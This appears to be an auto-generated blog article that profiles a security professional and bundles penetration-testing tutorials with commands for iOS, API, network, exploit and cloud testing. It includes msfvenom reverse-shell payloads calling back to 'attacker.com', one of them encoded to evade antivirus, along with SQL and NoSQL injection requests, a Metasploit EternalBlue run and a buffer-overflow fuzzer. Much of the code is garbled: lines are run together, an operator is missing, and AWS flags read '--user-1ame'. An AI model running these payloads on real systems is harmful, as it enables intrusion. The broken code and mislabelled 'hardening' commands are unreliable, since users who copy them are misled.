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Introduction:
In an era where over 100 new vulnerabilities are disclosed every single day—40,009 CVEs were published in 2024 alone—the cybersecurity industry demands professionals who don’t just scan for flaws but truly understand the attacker’s mindset. Swaroop Yermalkar, a HackerOne Ambassador and holder of the elite OSCE, OSCP, OSWP, and CREST CRT certifications, represents the gold standard of modern offensive security expertise. From leading the OWASP iGoat project to authoring “Learning iOS Penetration Testing”, his journey from Senior Security Engineer at Philips to securing Australia’s National Innovation Visa offers a masterclass in how deep technical prowess, community leadership, and continuous learning can open doors most professionals only dream of.
Learning Objectives:
- Master the foundational and advanced techniques of iOS application penetration testing, including static/dynamic analysis and runtime manipulation
- Understand the architecture of modern API security threats and how to implement OWASP-aligned countermeasures
- Build a practical, hands-on penetration testing lab environment across Linux and Windows for real-world vulnerability assessment
- Develop exploit development and antivirus evasion skills aligned with OSCE-level certification standards
You Should Know:
- iOS Penetration Testing: From Jailbroken Devices to Virtualized Environments
Mobile security has undergone a dramatic transformation. For the first time in iOS history, there are zero jailbreakable devices that can run the latest iOS versions. This paradigm shift means traditional penetration testing approaches must evolve. Swaroop Yermalkar, as the lead of OWASP iGoat—a deliberately vulnerable iOS application designed for security training—has been at the forefront of this evolution.
The OWASP iGoat project provides a safe, controlled environment where iOS developers and penetration testers can learn to identify and exploit major security pitfalls. The Swift version of iGoat includes challenges covering reverse engineering, runtime analysis, data protection (both at rest and in transit), key management, tampering, and injection flaws.
Step‑by‑Step Guide: Setting Up an iOS Penetration Testing Lab
Step 1: Environment Preparation
For modern iOS testing without jailbroken devices, virtualized environments like Corellium have become essential. These platforms allow security researchers to run and debug iOS applications in a controlled, reproducible environment.
Step 2: Static Analysis
Begin by examining the application binary and source code for security flaws. Extract the IPA file and analyze its contents:
On Linux/macOS - Extract and inspect IPA unzip target_app.ipa -d extracted/ cd extracted/Payload/ file .app/ | grep -i "Mach-O" Examine Info.plist for permissions and configuration cat .app/Info.plist
Step 3: Dynamic Analysis with Frida and Objection
Frida is a dynamic instrumentation toolkit that allows modification of iOS and Android app behavior at runtime. Objection, built on Frida, provides a runtime mobile exploration toolkit for bypassing root detection and SSL pinning.
Install and use Objection:
Install objection via pip pip install objection Start objection against a running iOS app objection --gadget com.target.app explore Common objection commands env Show environment variables ls List files in the app's sandbox keychain dump Dump keychain contents sqlite connect /path/to/db.sqlite Interact with local databases
Step 4: Traffic Analysis
Intercept and analyze network traffic using Burp Suite or mitmproxy. Configure your iOS device or emulator to route traffic through the proxy and install the CA certificate to inspect encrypted communications.
Step 5: Vulnerability Identification
Focus on OWASP Mobile Top 10 vulnerabilities including insecure data storage, weak encryption, improper certificate validation, and hardcoded secrets.
2. API Security: The Overlooked Frontline
APIs represent the backbone of modern applications, yet they remain one of the most exploited attack surfaces. OWASP’s API Security Top 10 provides a framework for identifying critical risks including Broken Object Level Authorization (BOLA), Broken Authentication, and Excessive Data Exposure.
Step‑by‑Step Guide: API Penetration Testing Methodology
Step 1: Reconnaissance and Mapping
Begin by enumerating all available API endpoints. Use tools like Postman, Burp Suite, or custom scripts:
Using ffuf for endpoint fuzzing ffuf -u https://api.target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -fc 404 Using nmap to discover API-related services nmap -p 80,443,8080,8443,3000,5000,8000 target.com -sV
Step 2: Authentication and Authorization Testing
Test for BOLA vulnerabilities by manipulating object identifiers in API requests. Attempt to access resources belonging to other users by changing ID parameters.
Step 3: Input Validation and Injection
Test for injection flaws including SQL injection, NoSQL injection, and command injection:
Example SQL injection test in an API request
curl -X GET "https://api.target.com/users?id=1' OR '1'='1"
Example NoSQL injection
curl -X POST "https://api.target.com/login" -d '{"username":{"$ne":null},"password":{"$ne":null}}'
Step 4: Business Logic Testing
Automated scanners often miss business logic flaws. Manually test workflows for vulnerabilities like rate limiting bypasses, price manipulation, and privilege escalation.
Step 5: Reporting and Remediation
Document findings with clear proof-of-concepts and remediation recommendations following OWASP guidelines.
- Infrastructure and Network Penetration Testing: Windows and Linux Commands
The CREST CRT certification tests candidates’ ability to assess operating systems, common network services, and web applications. This practical assessment expects candidates to find known vulnerabilities across network, application, infrastructure, and database technologies.
Essential Linux Commands for Penetration Testing
Network Reconnaissance:
Network scanning with nmap nmap -sV -sC -A -T4 target.com -oA scan_results Service enumeration nmap -p- --min-rate=10000 target.com UDP scanning nmap -sU -p 53,67,68,69,123,135,137,138,139,161,162,445,514,520,631,1434,1900,4500,49152 target.com
Web Application Testing:
Directory enumeration with gobuster gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -x php,html,asp,aspx,jsp Subdomain enumeration gobuster dns -d target.com -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
Exploitation and Post-Exploitation:
Using Metasploit for exploitation msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS target.com exploit Privilege escalation enumeration on Linux ./linpeas.sh Windows privilege escalation enumeration ./winPEAS.exe
Windows-Specific Commands:
System information systeminfo Network configuration ipconfig /all Active connections netstat -ano User enumeration net user /domain Firewall configuration netsh advfirewall show allprofiles
4. Exploit Development and Advanced Evasion Techniques
The OSCE (Offensive Security Certified Expert) certification represents one of the most challenging offensive security credentials available. Candidates must pass a 48-hour lab examination covering web exploitation, Windows exploit development, anti-virus evasion, x86 assembly, and hand-crafting shellcode.
Step‑by‑Step Guide: Basic Exploit Development
Step 1: Fuzzing and Crash Discovery
Identify vulnerabilities through fuzzing:
Simple Python fuzzer for buffer overflow discovery
import socket
import sys
buffer = b"A" 1000
while len(buffer) < 5000:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('target.com', 9999))
s.send(buffer + b'\r\n')
s.close()
buffer += b"A" 1000
except:
print(f"Crash at {len(buffer)} bytes")
sys.exit()
Step 2: Control Flow Hijacking
Use pattern creation to identify exact offset for EIP/RIP control:
Create pattern /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 5000 Find offset /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x[bash]
Step 3: Shellcode Generation
Generate custom shellcode with msfvenom:
msfvenom -p windows/shell_reverse_tcp LHOST=attacker.com LPORT=4444 -b '\x00\x0a\x0d' -f python
Step 4: Antivirus Evasion
Use encoding and obfuscation techniques:
msfvenom -p windows/shell_reverse_tcp LHOST=attacker.com LPORT=4444 -e x86/shikata_ga_nai -i 5 -f c
Step 5: Exploit Development
Assemble the exploit with proper return addresses, NOP sleds, and payload placement.
5. Cloud Security Hardening: AWS, Azure, and GCP
Cloud misconfigurations remain the Achilles’ heel of modern infrastructure. Effective cloud security requires a multi-layered approach combining Identity and Access Management (IAM), data protection, network security, and continuous monitoring.
Step‑by‑Step Guide: Cloud Security Hardening Checklist
Step 1: Identity and Access Management
- Enforce least privilege access controls
- Implement multi-factor authentication (MFA) for all users
- Use short-lived credentials and workload identity instead of permanent keys
- Regularly audit IAM roles and permissions
AWS IAM Hardening Commands:
List all IAM users aws iam list-users Check for unused credentials aws iam list-access-keys --user-1ame username Enforce MFA aws iam get-user --user-1ame username --query 'User.MFAEnabled'
Step 2: Data Protection
- Encrypt data at rest and in transit
- Use customer-managed keys (CMKs) and Trusted Execution Environments (TEEs)
- Implement proper key management practices
Step 3: Network Security
- Implement proper security group and firewall rules
- Use VPC segmentation and private subnets
- Enable VPC flow logs for monitoring
Step 4: Continuous Monitoring and Logging
- Enable comprehensive logging (CloudTrail, CloudWatch, Azure Monitor)
- Implement SIEM integration
- Configure alerts for suspicious activities
Step 5: Compliance and Governance
- Establish security baselines
- Perform regular threat modeling
- Conduct periodic security assessments and penetration tests
6. Vulnerability Mitigation: From Discovery to Patch
With over 100 new vulnerabilities published daily, organizations must develop systematic approaches to vulnerability management. This includes identification, prioritization, remediation, and verification.
Step‑by‑Step Guide: Vulnerability Management Lifecycle
Step 1: Discovery and Identification
- Deploy automated vulnerability scanners (Nessus, OpenVAS, Qualys)
- Conduct regular penetration tests
- Monitor CVE databases and security advisories
Step 2: Prioritization and Risk Assessment
- Use CVSS scoring to prioritize vulnerabilities
- Consider business impact and exploitability
- Focus on critical and high-severity issues first
Step 3: Remediation Planning
- Develop patch management procedures
- Implement compensating controls where immediate patching isn’t possible
- Document remediation steps and timelines
Step 4: Verification
- Re-scan to confirm vulnerability remediation
- Conduct targeted penetration testing for critical fixes
- Update vulnerability management databases
Step 5: Continuous Improvement
- Learn from incidents and near-misses
- Update security policies and procedures
- Provide ongoing security training for development and operations teams
What Undercode Say:
- Certifications are just the starting point. Swaroop Yermalkar’s journey from OSCP to OSCE, OSWP, and CREST CRT demonstrates that continuous learning and practical application are what truly separate elite security professionals from the rest. Each certification builds upon the last, creating a comprehensive skill set that spans wireless security, exploit development, and enterprise penetration testing.
-
Community leadership accelerates career growth. As a HackerOne Ambassador and OWASP iGoat project lead, Swaroop has built a reputation that transcends individual technical skills. His contributions to open-source security education and community building have positioned him as a global thought leader—a key factor in securing Australia’s highly selective National Innovation Visa.
The cybersecurity industry faces a critical talent shortage, particularly in specialized areas like mobile security, API security, and cloud hardening. Professionals who can demonstrate both deep technical expertise and community leadership are uniquely positioned to advance their careers globally. The path from OSCP to Australia’s National Innovation Visa isn’t just about passing exams—it’s about building a portfolio of contributions that showcase your ability to think like an attacker, teach others, and drive the industry forward.
Prediction:
- +1 Mobile security testing will increasingly shift toward virtualized and emulated environments as jailbreakable devices become extinct. This will create new opportunities for professionals skilled in platforms like Corellium and advanced dynamic analysis techniques.
-
+1 The demand for API security expertise will continue to outpace supply as organizations increasingly rely on microservices and API-first architectures. Professionals with deep API penetration testing skills will command premium compensation.
-
-1 The proliferation of AI-generated deepfake attacks will bypass traditional mobile KYC and biometric authentication systems, creating new attack surfaces that require entirely new defense paradigms.
-
-1 Cloud misconfigurations will remain the primary vector for data breaches until organizations fully embrace DevSecOps and automated security validation in CI/CD pipelines.
-
+1 Countries like Australia will continue to aggressively recruit elite cybersecurity talent through programs like the Global Talent Visa, creating unprecedented opportunities for certified professionals with demonstrable industry impact.
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